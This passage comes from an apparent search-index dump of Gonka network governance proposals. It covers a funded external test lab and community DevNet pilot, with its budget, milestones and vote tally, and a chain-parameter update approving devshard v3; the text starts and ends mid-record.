** Nebius listed B200 on-demand pricing at \\$7.15/GPU-hour and H200 on-demand pricing at \\$4.50/GPU-hour (June 2026). At these on-demand rates, 4× B200 for 168 hours would cost approximately \\$4.8k, while 8× H200 for 168 hours would cost approximately \\$6.05k.
"}, {"location": "proposals/proposals/2026-q3/82/#15-payment-schedule", "title": "15. Payment Schedule", "text": "Tranche Amount Timing Condition Tranche 1 22,000 USDT At pilot start Prepaid to secure machines, tooling, and people for Month 1. Tranche 2 22,000 USDT After Month 1 report Released after M1 deliverables and public spending report. Tranche 3 22,000 USDT After Month 2 report Released after M2 deliverables and public spending report. Tranche 4 22,000 USDT After Month 3 report Released after M3 deliverables and public spending report. Continuation TBD After Month 4 Requires a new proposal or explicit governance decision."}, {"location": "proposals/proposals/2026-q3/82/#16-end-of-pilot-gnk-recognition", "title": "16. End-of-pilot GNK recognition", "text": "The Project Lead and Infrastructure Lead receive no monthly compensation from the pilot budget: all USDT tranches fund infrastructure, tooling, and the External Testing Engineers. Leadership work is recognized only through the one-time GNK allocation below, paid after pilot completion and final report acceptance.
Role Amount Timing Notes Project Lead 40,000 GNK After pilot completion and final report acceptance Overall project accountability, governance coordination, scope and milestone control, QA contractor selection and onboarding, public reporting, and testing laboratory oversight. Infrastructure Lead / DevOps operations 40,000 GNK After pilot completion and final report acceptance Provisioning, monitoring, maintenance, region selection, cost control."}, {"location": "proposals/proposals/2026-q3/82/#17-open-source-ownership-and-handoff", "title": "17. Open Source, Ownership and Handoff", "text": "All non-sensitive documentation, test plans, runbooks, dashboards, issue templates, and reports will be public by default.
Where code or scripts are created, they will be published under an open-source license compatible with Gonka ecosystem norms unless there is a clear security reason not to.
Infrastructure access will not depend on a single individual. The owner model, emergency access process, and handoff procedure will be documented.
At the end of the pilot, a community-approved team should be able to take over the DevNet and External Testing Lab using the published runbooks, documentation, and access handoff process.
Approve a 4-month pilot of External Test Lab & Community DevNet with a maximum budget authorization of 88,000 USDT, paid in four monthly tranches of up to 22,000 USDT each, and 80,000 GNK paid after pilot completion and final report acceptance.
"}, {"location": "proposals/proposals/2026-q3/82/#final-tally", "title": "Final Tally", "text": "Yes 368,084 (98.2%) No 468 (0.1%) Veto 94 (0.0%) Abstain 6,141 (1.6%) Total 374,787 votes ✓ Turnout 374,787 / 741,825 (50.5%) · Quorum 25% (185,456)"}, {"location": "proposals/proposals/2026-q3/82/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgInstantiateContract2 2 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 3 /cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgInstantiateContract2\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"admin\": \"\",\n \"code_id\": \"107\",\n \"label\": \"testlab-devnet-milestone-escrow\",\n \"msg\": {\n \"governance\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"payouts\": [\n {\n \"recipient\": \"gonka1pn5953zm5j29w23u8csz4uuqwpg486j05e9aj4\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"22000000000\",\n \"unlock_after_days\": 0\n },\n {\n \"recipient\": \"gonka1pn5953zm5j29w23u8csz4uuqwpg486j05e9aj4\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"22000000000\",\n \"unlock_after_days\": 34\n },\n {\n \"recipient\": \"gonka1pn5953zm5j29w23u8csz4uuqwpg486j05e9aj4\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"22000000000\",\n \"unlock_after_days\": 64\n },\n {\n \"recipient\": \"gonka1pn5953zm5j29w23u8csz4uuqwpg486j05e9aj4\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"22000000000\",\n \"unlock_after_days\": 94\n },\n {\n \"recipient\": \"gonka1pn5953zm5j29w23u8csz4uuqwpg486j05e9aj4\",\n \"denom\": \"ngonka\",\n \"amount\": \"40000000000000\",\n \"unlock_after_days\": 124\n },\n {\n \"recipient\": \"gonka1fx65y7jfce6q4cj3zf7wvfuse3juu7c8gg0hqp\",\n \"denom\": \"ngonka\",\n \"amount\": \"40000000000000\",\n \"unlock_after_days\": 124\n }\n ],\n \"close_after_days\": 200\n },\n \"funds\": [],\n \"salt\": \"dGVzdGxhYi1kZXZuZXQtcGlsb3Q=\",\n \"fix_msg\": false\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1g57f45qjvn0529vpgj8x8mzt8r5k4audchm3pp9pezywxwf4rexqlj8ayw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"80000000000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"88000000000\",\n \"recipient\": \"gonka1g57f45qjvn0529vpgj8x8mzt8r5k4audchm3pp9pezywxwf4rexqlj8ayw\"\n }\n },\n \"funds\": []\n }\n]\n4-month pilot proposal for community-owned testing infrastructure and QA capacity
"}, {"location": "proposals/proposals/2026-q3/82/full-proposal/#1-executive-summary", "title": "1. Executive Summary", "text": "This proposal requests funding for a 4-month pilot of External Test Lab & Community DevNet: a community-owned testing function for Gonka protocol upgrades, DevShards, inference flows, host/broker operations, and geographically distributed network behavior before governance decisions and production rollout.
Item Proposal Pilot duration 4 months Requested budget Up to 22,000 USDT per month, plus a one-time 80,000 GNK end-of-pilot recognition payment. Funding model Monthly tranches: Month 1 prepaid, Months 2–4 released after previous-month deliverables are accepted Main deliverables Community DevNet, external testing team, public reports, test plans, runbooks and issue tracker Ownership Community-owned infrastructure and open operational artifacts, with clear handoff plan Security handling Public-by-default reporting, with private disclosure for security-sensitive findings before remediation"}, {"location": "proposals/proposals/2026-q3/82/full-proposal/#2-problem-statement", "title": "2. Problem Statement", "text": "Today, Gonka lacks a dedicated community-owned validation layer for important network changes. The External Test Lab and Community DevNet are proposed to close this gap by providing practical testing capacity, shared infrastructure, and public evidence before releases, governance decisions, or production rollout.
The External Test Lab and Community DevNet will:
Validate protocol upgrades, DevShard releases, broker/inference flows, integrations, and other critical network changes before they move forward.
Test distributed-network behavior that is hard to verify in local or internal environments, including latency, synchronization, propagation, and regional instability.
Use available testing capacity for proactive bug hunting, regression checks, and investigation of known weak points when no release candidate is waiting for validation.
Provide a neutral testing path for work delivered by external teams and ecosystem contributors before it is accepted, funded further, or used in production.
Help validate vulnerability reports from researchers, audits, or programs such as HackerOne through reproduction, impact assessment, regression testing, and confirmation after remediation.
Provide a shared environment where trusted hosts and teams can safely test proposals, integrations, DevShard scenarios, protocol behavior, and early implementation ideas.
Produce clearer testing evidence for governance participants, including test plans, dashboards, runbooks, issue trackers, defect reports, security-sensitive disclosure handling, and release-readiness summaries.
This adds a missing validation layer for the Gonka ecosystem while complementing Core Team testing.
"}, {"location": "proposals/proposals/2026-q3/82/full-proposal/#3-roadmap-alignment", "title": "3. Roadmap Alignment", "text": "This proposal directly implements two projects from the Gonka Network Development Roadmap.
Track 4. Network reliability and observability — Project 2. External testing lab The roadmap defines an external testing lab for Gonka changes before broad rollout, including changes from Protocol Maintainers, funded external teams, and ecosystem contributors.
This proposal implements that project through the External Testing Team, test plans, smoke and regression checks, defect reports, public issue tracking, and release-readiness reports.
Track 7. Public sandbox and consumer-GPU testnet — Project 1. Public testing sandbox The roadmap defines a separate test environment for experiments with models, parameters, integrations, DevShard scenarios, protocol-level behavior, validation, settlement, and upgrade testing before mainnet.
This proposal implements that project through Community DevNet: a small, always-on, geographically distributed network for protocol, node, DevShard, operational, integration, and distributed-behavior testing.
"}, {"location": "proposals/proposals/2026-q3/82/full-proposal/#4-what-we-are-building", "title": "4. What We Are Building", "text": "The project has three connected components.
Component Purpose Main output Community DevNet Small always-on geographically distributed network for protocol, node, DevShard, and operational testing. 9–13 inference nodes, monitoring dashboard, deployment runbook Burst GPU Testing Budget Temporary rental of large GPU infrastructure when heavy model or load testing is needed. Monthly rental allowance, test logs, benchmarks, and cost report External Testing Team Two hands-on QA / infrastructure testing engineers to validate pre-release builds, DevShards, and deliverables from external teams. Test plans, smoke/regression checks, defect reports, readiness reports"}, {"location": "proposals/proposals/2026-q3/82/full-proposal/#5-community-devnet-infrastructure", "title": "5. Community DevNet Infrastructure", "text": "Target size: 9–13 always-on inference machines plus required network nodes, where feasible within the monthly DevNet infrastructure cap.
Topology: part of the DevNet runs as Network Nodes with multiple attached MLNodes, so that realistic multi-MLNode host configurations can be reproduced and tested.
Indicative distribution: North America East, North America West, United Kingdom, Germany, France, Finland, and Asian locations depending on network quality and hosting availability.
Model profile: DevNet inference nodes are expected to run lightweight instruct models, such as Qwen/Qwen3-0.6B, or equivalent models.
Inference nodes: NVIDIA GPU machines with 16 GB VRAM, compatible with the project’s CUDA 13.0 container/runtime stack.
Goal: protocol and distributed behavior testing.
Monitoring: public dashboard for node availability.
Operations: infrastructure lead from the host/DevOps community responsible for provisioning, monitoring, and maintenance.
Public access. The DevNet is intended to serve the broader community, not only the testing team. During the pilot, access for external participants is granted through a lightweight request process — primarily to manage abuse, access control, and node stability while monitoring and onboarding documentation are still being built. Intended external use cases include:
hosts rehearsing onboarding and node operations before joining mainnet;
developers and users experimenting with inference, smart contracts, and integrations outside the QA team's test plan.
Broader participation is the target state: we intend to move to fully permissionless access as soon as safety, abuse limits, onboarding documentation, and monitoring allow it.
"}, {"location": "proposals/proposals/2026-q3/82/full-proposal/#6-burst-gpu-testing-budget", "title": "6. Burst GPU Testing Budget", "text": "Used only when needed for release candidates, large model tests, load tests, and model compatibility checks.
Planning assumption: Up to one calendar week (168 hours) of rental per month.
For Kimi-class testing, the requirement estimate assumes an ML Node with either 4× NVIDIA B200 or 8× NVIDIA H200, around 640 GB total GPU VRAM, 960 GB+ system RAM, 16-core amd64 CPU, and a Network Node host with 16-core CPU, 64 GB+ RAM, 1 TB NVMe, and at least 100 Mbps networking.
Access and accountability. Burst GPU capacity is provisioned and coordinated by the External Testing Team together with the project owners, primarily for release-candidate validation, model compatibility, and load tests. Requests from Protocol Maintainers and ecosystem teams are accommodated where capacity allows. All burst usage is itemized in the monthly public report: purpose, hours used, and cost per test run, with test logs published alongside.
"}, {"location": "proposals/proposals/2026-q3/82/full-proposal/#7-external-testing-team", "title": "7. External Testing Team", "text": "The proposal funds two external QA / Infrastructure Testing Engineers.
Scope of work
Contribute to quality standards and test strategy for the network
Define acceptance criteria and test plans for core network lifecycle events and components
Build pre-release validation frameworks, including smoke checks and regression coverage for known failure patterns
Deploy and verify distributed node and service stacks in production-like environments
Validate critical cross-system flows end to end, with documented evidence and clear defect escalation — e.g. participant and key flows, inference and proof-of-compute participation, gateway and proxy behavior
Use health signals, chain queries, and logs as primary validation inputs, not just debugging aids
Verify upgrade readiness, rollback feasibility, and post-change health across the stack
Establish, tune, and document practical operational primitives, such as PoC validation threshold and inference validation threshold settings, based on DevNet experience, and contribute these findings directly to the official Gonka documentation where appropriate.
Support DevNet validation and release-readiness assessment before production rollouts
Validate recovery and incident resolution through root-cause analysis and re-testing
Report defects with clear reproduction steps, impact assessment, and release-blocking status
Track and communicate quality metrics that reflect network health and operational reliability
Required capabilities
3+ years in system QA / Test Engineering, SDET, or quality-focused DevOps/SRE
Understanding of blockchain lifecycle, key and auth flows: registration, delegated permissions, fee grants
Experience in operation and validation of blockchain nodes (Cosmos SDK preferred): sync, recovery, RPC queries, network phase behavior
Experience validating distributed systems in production-like environments
Strong test design: test plans, acceptance criteria, smoke/regression/e2e, edge cases, negative testing
Solid Linux, SSH, shell scripting, and log-based verification
Docker & container orchestration - including environment and config reload behavior
Clear defect reporting and documentation — runbooks, test results, sign-off checklists
Comfort with time-boxed validation before critical network events
SDET experience: scripted validation, CI pipelines, automated health checks
Blockchain / Web3 QA: testnet operations, bridge testing, wallet/key flows, upgrade regression
Cross-chain testing: EVM testnet validation, withdrawal flows, contract interaction
GPU/ML inference testing: worker health, model serving, artifact delivery
Experience with coordinated multi-node upgrades
API gateway and proxy testing (failures, latency, request tracing)
Decentralized inference or Proof of Compute networks
Public dashboard for DevNet health and node status.
Public task board for planned, active, and completed testing work.
Public issue tracker for non-sensitive bugs, regressions, and operational findings.
Monthly public report with deliverables, incidents, spending by budget line, remaining balance, unused funds, and next-month plan.
Per-release readiness report before governance vote or production rollout when a release candidate is provided in time.
Security-sensitive findings are reported privately to Core Team first; a public placeholder issue is created where appropriate, and details are disclosed after remediation or agreed disclosure window.
The External Test Lab is intended to work in coordination with Protocol Maintainers while remaining an external community testing function.
Protocol Maintainers are expected to support initial onboarding by providing technical context, relevant documentation, general guidance, scripts and notes, expected test focus, and clarification of protocol-specific behavior where needed.
This coordination helps the testing team become productive faster and reduces the risk of misinterpreting expected network behavior. At the same time, validation reports remain independently prepared by the External Test Lab and are published for the community.
Where a governance vote or production rollout is scheduled and testable artifacts are provided in time, the External Test Lab publishes a readiness report covering tested areas, pass/fail results, known risks, and recommendations.
If testable artifacts are provided late or incomplete, the External Test Lab may still perform limited validation, but the report will clearly state the reduced scope, time constraints, and known limitations.
"}, {"location": "proposals/proposals/2026-q3/82/full-proposal/#12-milestones-and-acceptance-criteria", "title": "12. Milestones and Acceptance Criteria", "text": ""}, {"location": "proposals/proposals/2026-q3/82/full-proposal/#workstream-a-devnet-infrastructure", "title": "Workstream A: DevNet Infrastructure", "text": "Milestone Timing Milestone result Public artifacts Payment gate M1: Setup Month 1 DevNet design agreed, infrastructure procurement started, at least 5 nodes online; infrastructure blockers documented if any. DevNet architecture note; initial status dashboard (live link); draft node deployment runbook. Month 2 funding requires M1 report and acceptance. M2: Full DevNet operational Month 2 At least 9 nodes online across target regions; monitoring in place. Published node deployment runbook sufficient to reproduce a DevNet node; public dashboard showing all nodes; regional layout summary. Month 3 funding requires M2 report and acceptance. M3: Stable DevNet operation Month 3 DevNet running stably; operational issues identified and addressed. Updated runbook; incident log for the month; onboarding guide for external DevNet participants, interim infrastructure cost report. Month 4 funding requires M3 report and acceptance. M4: Pilot completion and reporting Month 4 Pilot infrastructure work concluded; continuation or handoff recommendation prepared. Final infrastructure and cost report; lessons learned; handoff package. No automatic continuation; new vote required."}, {"location": "proposals/proposals/2026-q3/82/full-proposal/#workstream-b-external-testing-lab", "title": "Workstream B: External Testing Lab", "text": "Milestone Timing Milestone result Public artifacts Payment gate M1: Testing lab setup and QA onboarding Month 1 QA contractors search and selection, onboarding plan, testing lab operating model, initial test strategy. Initial test strategy document; hiring status in the monthly report. Month 2 funding requires M1 report and acceptance. M2: Testing capability launch Month 2 At least one QA engineer onboarded and executing tests; second onboarded or in final hiring stage. Public task board (live link); public catalogue of test scenarios: smoke checklist and regression checklist; live issue tracker. Month 3 funding requires M2 report and acceptance. M3: Repeated validation and process stabilization Month 3 Repeatable validation process in place; validation performed where testable inputs were provided. Open repository with initial test automation scripts (smoke-level checks); updated checklists; validation or status reports for the month. Month 4 funding requires M3 report and acceptance. M4: Pilot completion and reporting Month 4 Validation work concluded; lab processes documented for handoff. Final validation reports; defect summary; lessons learned. No automatic continuation; new vote required."}, {"location": "proposals/proposals/2026-q3/82/full-proposal/#13-kpis", "title": "13. KPIs", "text": "KPI Target Verification method DevNet availability ≥95% monthly availability for stable nodes after full deployment Public dashboard and monthly uptime summary Release validation coverage 100% of provided release candidates reviewed within the agreed time window, where provided with sufficient lead time and required handoff materials. Public release-readiness reports DevShard validation coverage 100% of provided DevShard candidates reviewed within the agreed time window, where provided with sufficient lead time and required handoff materials. Public DevShard reports Public reporting Monthly public report covering deliverables, incidents, spending by budget line, remaining balance, unused funds, and next-month plan. Public document Issue quality All defects include reproduction steps, expected vs actual behavior, impact, and severity Public issue tracker / private security tracker where needed Handoff readiness Runbooks and lessons learned documented by end of pilot Published operational documentation"}, {"location": "proposals/proposals/2026-q3/82/full-proposal/#14-budget-estimate", "title": "14. Budget Estimate", "text": "This is a planning estimate for a 4-month pilot. Unused burst GPU rental budget may roll over within the pilot; any unused funds at the end of the pilot will be returned to the Community Pool.
Budget line Assumption Monthly estimate 4-month estimate Notes Community DevNet machines * 9–13 inference nodes plus required Network Node services capped at \\$5,000/month as a blended planning average. \\$20,000 GPU-class node, CPU/RAM/storage/network/region premium included as planning average. Burst GPU rental ** Up to one calendar week (168 hours) per month of high-end GPU capacity capped at \\$6,500/month \\$26,000 For H200/B200-class testing, load tests, model compatibility, release candidates. Operational tooling and reporting services Shared monitoring and operational tools \\$250 \\$1,000 Domains/DNS, lightweight monitoring, uptime checks, reporting tools, access management, and small cloud services where needed. External Testing Engineers 2 QA engineers × \\$4,000/month \\$8,000 \\$32,000 Hands-on QA / infrastructure testing, reports, defect tracking. Subtotal \\$19,750 \\$79,000 Contingency reserve \\$2,250 \\$9,000 Used only if needed. Total requested authorization 22,000 USDT 88,000 USDT Cap for 4-month pilot.Any unused funds will be returned to the Community Pool at the end of the pilot.
* The cap above raw GPU-hour pricing covers reserved or non-interruptible instances required for always-on operation, regional price premiums outside low-cost US marketplaces, CPU-only Network Node hosts for the multi-MLNode topology, storage and egress, and temporary node duplication during upgrade and failover testing. It is a cap, not a spend target: actual spending will be itemized monthly, and unused funds will be returned to the Community Pool at the end of the pilot.
** Nebius listed B200 on-demand pricing at \\$7.15/GPU-hour and H200 on-demand pricing at \\$4.50/GPU-hour (June 2026). At these on-demand rates, 4× B200 for 168 hours would cost approximately \\$4.8k, while 8× H200 for 168 hours would cost approximately \\$6.05k.
"}, {"location": "proposals/proposals/2026-q3/82/full-proposal/#15-payment-schedule", "title": "15. Payment Schedule", "text": "Tranche Amount Timing Condition Tranche 1 22,000 USDT At pilot start Prepaid to secure machines, tooling, and people for Month 1. Tranche 2 22,000 USDT After Month 1 report Released after M1 deliverables and public spending report. Tranche 3 22,000 USDT After Month 2 report Released after M2 deliverables and public spending report. Tranche 4 22,000 USDT After Month 3 report Released after M3 deliverables and public spending report. Continuation TBD After Month 4 Requires a new proposal or explicit governance decision."}, {"location": "proposals/proposals/2026-q3/82/full-proposal/#16-end-of-pilot-gnk-recognition", "title": "16. End-of-pilot GNK recognition", "text": "The Project Lead and Infrastructure Lead receive no monthly compensation from the pilot budget: all USDT tranches fund infrastructure, tooling, and the External Testing Engineers. Leadership work is recognized only through the one-time GNK allocation below, paid after pilot completion and final report acceptance.
Role Amount Timing Notes Project Lead 40,000 GNK After pilot completion and final report acceptance Overall project accountability, governance coordination, scope and milestone control, QA contractor selection and onboarding, public reporting, and testing laboratory oversight. Infrastructure Lead / DevOps operations 40,000 GNK After pilot completion and final report acceptance Provisioning, monitoring, maintenance, region selection, cost control."}, {"location": "proposals/proposals/2026-q3/82/full-proposal/#17-open-source-ownership-and-handoff", "title": "17. Open Source, Ownership and Handoff", "text": "All non-sensitive documentation, test plans, runbooks, dashboards, issue templates, and reports will be public by default.
Where code or scripts are created, they will be published under an open-source license compatible with Gonka ecosystem norms unless there is a clear security reason not to.
Infrastructure access will not depend on a single individual. The owner model, emergency access process, and handoff procedure will be documented.
At the end of the pilot, a community-approved team should be able to take over the DevNet and External Testing Lab using the published runbooks, documentation, and access handoff process.
Approve a 4-month pilot of External Test Lab & Community DevNet with a maximum budget authorization of 88,000 USDT, paid in four monthly tranches of up to 22,000 USDT each, and 80,000 GNK paid after pilot completion and final report acceptance.
"}, {"location": "proposals/proposals/2026-q3/83/", "title": "#83 – Approve devshard v3", "text": "Passed
Proposal ID: 83
Type: Update Params
Submit: 2026-07-09 06:41 UTC
Voting: 2026-07-09 06:41 UTC → 2026-07-11 06:41 UTC
Proposer: gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le
View on gonka.gg
Update current chain params by adding v3 to devshard_escrow_params.approved_versions.
"}, {"location": "proposals/proposals/2026-q3/83/#final-tally", "title": "Final Tally", "text": "Yes 395,370 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 395,370 votes ✓ Turnout 395,370 / 741,825 (53.3%) · Quorum 25% (185,456)"}, {"location": "proposals/proposals/2026-q3/83/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"35\",\n \"poc_exchange_duration\": \"0\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"240\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"2\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"confirmation_poc_safety_window\": \"500\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"150\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"bad_participant_invalidation_rate\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"invalidation_h_threshold\": {\n \"value\": \"4\",\n \"exponent\": 0\n },\n \"downtime_good_percentage\": {\n \"value\": \"98\",\n \"exponent\": -2\n },\n \"downtime_bad_percentage\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"downtime_h_threshold\": {\n \"value\": \"1\",\n \"exponent\": 2\n },\n \"downtime_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"quick_failure_threshold\": {\n \"value\": \"1\",\n \"exponent\": -6\n },\n \"binom_test_p0\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"processed_logprobs\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": null,\n \"model_params\": null,\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": true,\n \"confirmation_poc_v2_enabled\": true,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": true,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [\n {\n \"model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"3024\",\n \"exponent\": -4\n },\n \"penalty_start_epoch\": \"278\"\n },\n {\n \"model_id\": \"moonshotai/Kimi-K2.6\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"90\",\n \"exponent\": -2\n },\n \"penalty_start_epoch\": \"310\"\n },\n {\n \"model_id\": \"zai-org/GLM-5.2-FP8\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"45\",\n \"exponent\": -2\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"247\",\n \"exponent\": -2\n },\n \"penalty_start_epoch\": \"500\"\n }\n ],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"100\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 1,\n \"max_inferences_per_block\": \"1000\"\n },\n \"confirmation_poc_params\": {\n \"expected_confirmations_per_epoch\": \"4\",\n \"alpha_threshold\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"slash_fraction\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"upgrade_protection_window\": \"500\"\n },\n \"genesis_guardian_params\": {\n \"network_maturity_threshold\": \"15000000\",\n \"network_maturity_min_height\": \"3000000\",\n \"guardian_addresses\": [\n \"gonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5\",\n \"gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v\",\n \"gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e\"\n ]\n },\n \"developer_access_params\": {\n \"until_block_height\": \"2459367\",\n \"allowed_developer_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d\",\n \"gonka1x7zh2277spp7jfqjhv0g5mnezg290xdr4kpfnk\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n 